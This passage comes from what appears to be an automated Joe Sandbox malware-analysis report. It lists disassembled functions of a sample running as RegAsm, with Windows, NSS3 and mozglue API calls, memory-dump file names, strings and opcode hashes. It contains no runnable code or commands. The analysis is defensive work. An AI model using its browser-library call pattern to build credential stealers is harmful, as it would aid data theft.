Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE24
Part of subcall function 6C3BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C39D079,00000000,00000001), ref: 6C3BAE5A
Part of subcall function 6C3BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE6F
Part of subcall function 6C3BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE7F
Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEB1
Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C402AE9,00000000,0000065C), ref: 6C41A934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C402AE9,00000000,0000065C), ref: 6C41A949
free.MOZGLUE(?,00000000,0000065C), ref: 6C41A952

Strings

*@l, xrefs: 6C41A8F6

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *@l
API String ID: 1595327144-2868420662
Opcode ID: 472098ab0b90dc4e0074ff40ebd8667b7c9dc3c2562bede9719df68e7d34cec3
Instruction ID: 75a1aacd34ffb39c1fc241098f30c4ca369fe153cda2c87b8a8e85d5c6a4fb3f
Opcode Fuzzy Hash: 472098ab0b90dc4e0074ff40ebd8667b7c9dc3c2562bede9719df68e7d34cec3
Instruction Fuzzy Hash: 98316BB46052019FD704CF18D980E62BBE8FF48319B1585A9EC498FB56E730ED45CFA1

Function 6C44A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C317915,?,?), ref: 6C44A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C317915,?,?), ref: 6C44A8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44A891
%s at line %d of [%.10s], xrefs: 6C44A8A0
database corruption, xrefs: 6C44A89B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 547deee1383aa6f6ea08e57bce6c2d34cbb36bf0def0084769eba27d0d786425
Instruction ID: f8b00c72e44cda9d108c9f185536761c074a56fe5d24e0ca0f7078a3bbca65db
Opcode Fuzzy Hash: 547deee1383aa6f6ea08e57bce6c2d34cbb36bf0def0084769eba27d0d786425
Instruction Fuzzy Hash: 52110375A00214ABEB05DF51DC41EAAB7A1FF49354F148438FC094BB80EB34E916CBD2

Function 6C360DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C360BDE), ref: 6C360DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C360BDE), ref: 6C360DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C360BDE), ref: 6C360DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C360BDE), ref: 6C360E32

Strings

%s incr => %d (find lib), xrefs: 6C360E2D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: c83f71e0d066c70a54964751a30d0a8d87ad9aff15b3874b52cb5549b6e5ed50
Instruction ID: 3ee2a37d069bea8e2917a8beac9632e2faf6d1f977f1d4ac3c76d41cc4b1f1fe
Opcode Fuzzy Hash: c83f71e0d066c70a54964751a30d0a8d87ad9aff15b3874b52cb5549b6e5ed50
Instruction Fuzzy Hash: BF0124727016209FE720EF25DC86E17B3BCDF85A18B0444ADE909D3A41E762FC148AE1

Function 6C41AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]@l,00000000,?,?,6C3F6AC6,?), ref: 6C41AC2D

Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE10
Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE24
Part of subcall function 6C3BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C39D079,00000000,00000001), ref: 6C3BAE5A
Part of subcall function 6C3BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE6F
Part of subcall function 6C3BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE7F
Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEB1
Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEC9

PK11_FreeSymKey.NSS3(?,@]@l,00000000,?,?,6C3F6AC6,?), ref: 6C41AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]@l,00000000,?,?,6C3F6AC6,?), ref: 6C41AC59
free.MOZGLUE(8CB6FF01,6C3F6AC6,?,?,?,?,?,?,?,?,?,?,6C405D40,00000000,?,6C40AAD4), ref: 6C41AC62

Strings

@]@l, xrefs: 6C41AC05

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]@l
API String ID: 1595327144-1783191732
Opcode ID: dd640fc0c6fe42994304c1cba19e47091a05ea7921aa8f560df333c56b6cc833
Instruction ID: 8ecfe58f6ee12412780694c509e6f35826dd4d787e86d231e902c35955f26820
Opcode Fuzzy Hash: dd640fc0c6fe42994304c1cba19e47091a05ea7921aa8f560df333c56b6cc833
Instruction Fuzzy Hash: 73018BB56006009FDB00DF15E8C4F56B7A8AF04B19F188068E9898FB06E731E808CFA2

Function 004192E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 004192F8, 004192FB
:A, xrefs: 00419311, 0041933D, 00419314

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleSize
String ID: :A$:A
API String ID: 3849164406-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 6C2F2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C2F1360,00000000), ref: 6C2F2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C2F1360,00000000), ref: 6C2F2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C2F2A7C

Part of subcall function 6C2F2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D3824B49,?,?,00000000,?,6C2F296E), ref: 6C2F2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2F2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C2F1360,00000000), ref: 6C2F2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C2F2B90

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: fa08e6762179ae178099fb0c07dbb4f4fb422b62c557641a0225ebc95d4f2f04
Instruction ID: 9e381c1b5be1418ba94b9e4cadfe6cc37b99074ec3cb2b15a12c5bdc9f0a0b2f
Opcode Fuzzy Hash: fa08e6762179ae178099fb0c07dbb4f4fb422b62c557641a0225ebc95d4f2f04
Instruction Fuzzy Hash: C5C1B2B1E4124E8BEB04CF65C894BAAF7B5AF8A304F258229DD259B741D730D842CBD1

Function 6C30A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a122f7c1f92e4ac08586f5b7686c92496f9bc37a13163bfe0a50be54c5d4f56
Instruction ID: f0c591e69bcb30340751c7c603fdf477cc9d8677b92baa2cf4c4982cc09c8489
Opcode Fuzzy Hash: 7a122f7c1f92e4ac08586f5b7686c92496f9bc37a13163bfe0a50be54c5d4f56
Instruction Fuzzy Hash: 8D91D2327002048FEB08FF65F9CAB6A77B5BF4A318F04002DE94687A51DB39A945CF91

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 6C36EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C36EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C36EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C36EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C36EEEB
free.MOZGLUE(?), ref: 6C36EEF6

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 81eee9d57c707af61c862f8b214d8c134200a879456650688067a7fa3c13b46a
Instruction ID: 21d136e0967430108e60624b157a553fda182d1cdf19342579f15dff5e8f5d23
Opcode Fuzzy Hash: 81eee9d57c707af61c862f8b214d8c134200a879456650688067a7fa3c13b46a
Instruction Fuzzy Hash: 0C312B71A007009BE721EF2ACC44B667BF4FB46318F140529E95A87E54DB32E918CFE1

Function 6C37AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C373FFF,00000000,?,?,?,?,?,6C371A1C,00000000,00000000), ref: 6C37ADA7

Part of subcall function 6C3D14C0: TlsGetValue.KERNEL32 ref: 6C3D14E0
Part of subcall function 6C3D14C0: EnterCriticalSection.KERNEL32 ref: 6C3D14F5
Part of subcall function 6C3D14C0: PR_Unlock.NSS3 ref: 6C3D150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C373FFF,00000000,?,?,?,?,?,6C371A1C,00000000,00000000), ref: 6C37ADB4

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C373FFF,?,?,?,?,6C373FFF,00000000,?,?,?,?,?,6C371A1C,00000000), ref: 6C37ADD5

Part of subcall function 6C3CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C3C8D2D,?,00000000,?), ref: 6C3CFB85
Part of subcall function 6C3CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C3CFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C4994B0,?,?,?,?,?,?,?,?,6C373FFF,00000000,?), ref: 6C37ADEC

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C373FFF), ref: 6C37AE3C

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d4ec4f2ed3efe284b8a7c7a597fa9dbb65a086e6747419f4b59ee5b3785a5ff2
Instruction ID: dc3a5b02c90a491eba5042e88f838c18cadeef45f04b6486bf37112d661d35c7
Opcode Fuzzy Hash: d4ec4f2ed3efe284b8a7c7a597fa9dbb65a086e6747419f4b59ee5b3785a5ff2
Instruction Fuzzy Hash: 5A117872E002185BE7209B659C50FBF73B8DF9525DF004228EC5996B41FB25E9488AF7

Function 6C3C8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8821
TlsGetValue.KERNEL32(?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C883D
EnterCriticalSection.KERNEL32(?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C3C8887
PR_Unlock.NSS3(?,?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8899

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: b136452a3ae4d7df02ffaddc95b917a4257789457942c1c3861e7be4ecafef33
Instruction ID: e58a28d6a98c0d3de060f31e8705d3a87d5d3b23e3c3696d0c0a5047cd673ca0
Opcode Fuzzy Hash: b136452a3ae4d7df02ffaddc95b917a4257789457942c1c3861e7be4ecafef33
Instruction Fuzzy Hash: 43213BB4A04705CFDB00EF78C4845AEBBB4BF06318F10466ADC9496A45EB30DA95CFA3

Function 6C3928A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C3880DD), ref: 6C3928BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C3880DD), ref: 6C3928D3
PR_Unlock.NSS3(?,?,?,?,?,6C3880DD), ref: 6C3928E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C3880DD), ref: 6C39290E
free.MOZGLUE(?,?,?,?,?,?,6C3880DD), ref: 6C39291A

Part of subcall function 6C389270: DeleteCriticalSection.KERNEL32(?,?,6C395089,?,6C393B70,?,?,?,?,?,6C395089,6C38F39B,00000000), ref: 6C38927F
Part of subcall function 6C389270: free.MOZGLUE(?,?,6C393B70,?,?,?,?,?,6C395089,6C38F39B,00000000), ref: 6C389286
Part of subcall function 6C389270: PL_HashTableDestroy.NSS3(?,6C393B70,?,?,?,?,?,6C395089,6C38F39B,00000000), ref: 6C389292

Part of subcall function 6C388B50: TlsGetValue.KERNEL32(00000000,?,6C390948,00000000), ref: 6C388B6B
Part of subcall function 6C388B50: EnterCriticalSection.KERNEL32(?,?,?,6C390948,00000000), ref: 6C388B80
Part of subcall function 6C388B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C390948,00000000), ref: 6C388B8F
Part of subcall function 6C388B50: PR_Unlock.NSS3(?,?,?,?,6C390948,00000000), ref: 6C388BA1
